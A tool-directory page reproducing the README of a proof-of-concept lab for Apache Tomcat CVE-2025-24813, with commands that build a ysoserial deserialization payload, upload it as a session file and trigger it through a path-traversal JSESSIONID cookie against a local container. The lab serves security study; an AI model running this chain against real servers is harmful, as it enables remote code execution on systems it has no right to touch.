Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC-CVE-2025-24813 — Proof-of-concept demonstrating Apache Tomcat CVE-2025-24813, exploiting insecure DefaultServlet PUT and session deserialization to achieve remote code execution. | Kitploit
Tools/GitHubGitHub/arthurabriel/poc-cve-2025-24813
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

Proof-of-concept demonstrating Apache Tomcat CVE-2025-24813, exploiting insecure DefaultServlet PUT and session deserialization to achieve remote code execution.

View Repository
59 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-24813 – Demonstration Environment (PoC)

This repository contains a simple application built to observe the behavior of CVE-2025-24813, a recent vulnerability in Apache Tomcat related to the use of the DefaultServlet with writing enabled (readonly=false), allowing unsafe write operations via HTTP PUT (with support for partial PUT / Content-Range) that can lead to overwriting sensitive files, including session files — enabling RCE scenarios if malicious deserialization occurs.

About this PoC

The application uses:

ComponentFunction
Tomcat 9 + JDK 11Vulnerable server used as target
context.xmlEnables PersistentManager + FileStore saving sessions to disk
upload.jspSimple endpoint that receives data and writes to disk
/tmp/app-data/Directory where uploads will be saved

The initial idea is to observe how Tomcat handles files in an environment configured to study the CVE — starting with a benign request, which only writes a file in a controlled manner (without exploitation attempt) and then a malicious file.

Build and execution

  1. Build the Docker image
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. Run the container
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

Monitoring execve syscalls

In another terminal, execute the commands below.

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

Initial test (good and safe request)

We will send a simple file to observe normal behavior.

Upload sending a string

root@kitploit:~
echo "Normal File" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "This is just a simple message."

If everything is correct, nothing should appear in the terminal running strace.

Note: If SIGSEGV errors appear in strace, ignore them. They are JVM noise.

Exploiting the vulnerability

  1. Download YSoSerial Tool used to generate serialized Java objects with known gadget chains.
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. Generate the malicious payload in session format

Here we use the CommonsCollections4 chain to generate an object that, in a vulnerable scenario, could execute the command touch /tmp/RCE. The payload will be saved as hack.session.

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

If the previous command fails, then to ensure compatibility with modern Java versions (9+), you need to add the --add-opens flag to disable strong encapsulation (JPMS), which would otherwise block the reflection used by ysoserial.

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

After this command you will have a local binary file:

root@kitploit:~
hack.session
  1. Upload the payload to the server

We send the .session file to the JSP endpoint, which writes the content directly to the /tmp/app-data directory.

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

Expected output:

File saved successfully at: /tmp/app-data/hack.session

📌 At this moment no command is executed — only file writing on the server occurred.

  1. Use the injected session

Now we make a request sending the cookie JSESSIONID=hack, trying to force Tomcat to load the newly created session.

root@kitploit:~
 curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

In the strace terminal, execve commands creating the file should have appeared.

To verify if the file was created, we can also enter the container and check

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
Download Tool